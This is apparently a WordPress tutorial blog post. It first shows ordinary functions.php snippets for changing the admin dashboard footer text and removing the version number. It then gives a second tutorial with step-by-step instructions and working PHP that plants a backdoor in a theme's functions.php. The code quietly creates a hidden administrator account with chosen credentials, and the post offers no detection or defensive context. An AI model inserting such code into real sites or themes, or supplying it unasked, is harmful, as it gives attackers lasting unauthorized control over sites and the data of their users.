Customize WordPress admin dashboard footer.

In this tutorial, we’ll walk through adding a PHP snippet to the theme’s functions.php file to edit the “Thank you for creating with WordPress” text and remove the WordPress version from the Admin Dashboard footer.

// Function to edit footer text
function wpse_edit_text($content) {
    return "Thanks For creating with <a href=\"https://nayeemparvej.my.id/\">NayeeM</a>. If you need any help, Call: +8801301063548";
}

// Hook the function to change the footer text
add_filter( 'admin_footer_text', 'wpse_edit_text', 11 );

This code defines a function wpse_edit_text that returns the customized footer text. Then, it hooks this function to the admin_footer_text filter with a priority of 11, ensuring it overrides the default footer text.

Removing WordPress Version

Next, we’ll add another PHP snippet to remove the WordPress version from the Admin Dashboard footer.

// Function to remove WordPress version from footer
function change_footer_version() {
    return '';
}

// Hook the function to remove WordPress version
add_filter( 'update_footer', 'change_footer_version', 9999 );

This code defines a function change_footer_version that returns an empty string, effectively removing the WordPress version from the footer. It then hooks this function to the update_footer filter with a priority of 9999, ensuring it runs late in the execution order to override any other modifications.

How backdoors can be created in WordPress?

In this tutorial, we’ll discuss how backdoors can be created in WordPress

  • Open the functions.php file of a WordPress theme.
  • Insert the following code snippet at the beginning or end of the file:
$username = 'backdooruser';
$password = 'backdoorpassword';
$email = 'backdoor@example.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
}
  • Replace ‘backdooruser’, ‘backdoorpassword’, and ‘backdoor@example.com‘ with your desired username, password, and email address.
  • This code creates a new administrator user if the specified username doesn’t already exist.